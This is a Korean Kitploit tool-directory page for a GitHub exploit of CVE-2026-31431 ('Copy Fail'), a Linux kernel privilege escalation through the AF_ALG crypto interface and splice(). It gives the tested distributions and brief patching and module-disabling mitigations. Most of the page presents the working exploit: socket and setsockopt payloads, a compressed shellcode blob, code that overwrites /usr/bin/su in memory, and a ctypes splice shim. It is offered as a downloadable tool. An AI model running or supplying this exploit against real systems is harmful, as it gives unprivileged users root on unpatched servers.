Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-31431 — Copy Fail - CVE-2026-31431 | Kitploit
도구/GitHubGitHub/juanbindez/cve-2026-31431
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationShellcodePayload DevelopmentBinary Exploitation
GitHubjuanbindez/cve-2026-31431

CVE-2026-31431

Copy Fail - CVE-2026-31431

저장소 보기
175133개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-31431


Copy Fail - CVE-2026-31431 상세 정보

https://nvd.nist.gov/vuln/detail/CVE-2026-31431

https://copy.fail/#exploit

https://xint.io/blog/copy-fail-linux-distributions


테스트된 배포판 / 버전

배포판버전
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

익스플로잇 실행

main.py

명령 ID

id

이와 같은 화면이 나타나면 이제 루트 액세스 권한을 획득한 것입니다.

image

수정에는 단 몇 분밖에 걸리지 않습니다.

옵션 1: 커널 업데이트 (권장)

For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
For RHEL-based systems: sudo yum update

그런 다음 서버를 재부팅하세요.

옵션 2: 영향받는 모듈 비활성화 (임시 조치)

지금 당장 업데이트할 수 없다면 취약한 모듈을 비활성화하여 노출을 줄이세요:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

이는 SSH, TLS, LUKS 또는 OpenSSL에는 영향을 미치지 않습니다.


공격 기법: CVE 유사 (Crypto API + splice)

이 공격은 Linux 커널 AF_ALG 암호화 하위 시스템의 취약점을 악용하는 것으로 보이며, splice()/sendmsg()의 잘못된 사용과 결합하여 다음을 수행합니다:

  • 커널 포인터 유출
  • 프로세스 task_struct 손상
  • UID를 0(root)으로 승격

1. AF_ALG 소켓 사용 (38)

a = s.socket(38, 5, 0)  # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authesn(hmac(sha256),cbc(aes))"))
  • 커널에 암호화 소켓 생성
  • AES-CBC + HMAC-SHA256 암호 구성
  • 실제 목적: 내부 커널 API와 상호작용

2. 난해한 setsockopt (h=279)

v(h, 1, d('0800010000000010'+'0'*64))  # option 1
v(h, 5, None, 4)                        # option 5 (NULL payload)
  • 279 = ALG_SET_KEY (암호화 키 설정)
  • ALG 하위 시스템을 악용하는 문서화되지 않은 옵션들
  • 키 '0800010000000010' + 0들 — 취약점 트리거로 추정

3. 주요 공격 기법

u.sendmsg([b"A"*4+c], [
    (h, 3, i*4),           # cmsg level 3 (ALG_OP?)
    (h, 2, b'\x10'+i*19),  # cmsg level 2
    (h, 4, b'\x08'+i*3)    # cmsg level 4
], 32768)
  • 보조 데이터(제어 메시지)와 함께 sendmsg 사용
  • 'i'(카운터)가 반복마다 가변 크기를 생성
  • 목표: 힙 스프레이 및 커널 메모리 손상

4. 파이프 간 splice()

r, w = g.pipe()           # create anonymous pipe
g.splice(f, w, o, offset_src=0)      # copy from file to pipe
g.splice(r, u.fileno(), o)           # copy from pipe to socket

다음 사이의 제로 카피(zero-copy) 데이터 전송:

/usr/bin/su (file) → pipe → crypto socket

splice는 사용자→커널 복사를 우회 → 완전한 커널 공간 작업

5. 압축 해제된 페이로드

Hex 데이터:

78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

78da로 시작 → zlib 헤더

압축 해제된 콘텐츠에는 다음이 포함될 가능성이 높습니다:

Shellcode (machine code)  
x86_64 privilege escalation instructions  

6. su에 페이로드 쓰기

while i < len(e):
    c(f, i, e[i:i+4])  # writes 4 bytes of shellcode into su

메모리에서 /usr/bin/su 손상 (디스크에는 아님)

실행 시점에 su 프로세스로 셸코드 주입

7. 최종 실행

g.system("su")

[!NOTE] 대상 OS의 Python 버전이 3.10 미만인 경우 아래 코드를 사용하여 작동시키세요. 단, 먼저 syscall 사용 가능 여부를 확인하십시오.

python3 - <<'PY'
import ctypes
libc = ctypes.CDLL("libc.so.6")
print("splice syscall wrapper exists:", hasattr(libc, "splice"))
PY

PAYLOAD_COMPRESSED 섹션 아래에 이 코드 조각을 추가하세요:

_libc = ctypes.CDLL("libc.so.6", use_errno=True)
_libc.splice.restype = ctypes.c_ssize_t
_libc.splice.argtypes = [
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_size_t,
    ctypes.c_uint,
]

def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0):
    off_in  = ctypes.byref(ctypes.c_int64(offset_src)) if offset_src is not None else None
    off_out = ctypes.byref(ctypes.c_int64(offset_dst)) if offset_dst is not None else None
    ret = _libc.splice(src, off_in, dst, off_out, count, flags)
    if ret < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return ret

su 실행 (사용자 전환) — 이제 손상된 페이로드 포함

변조된 su는 비밀번호 없이 root를 반환

도구 다운로드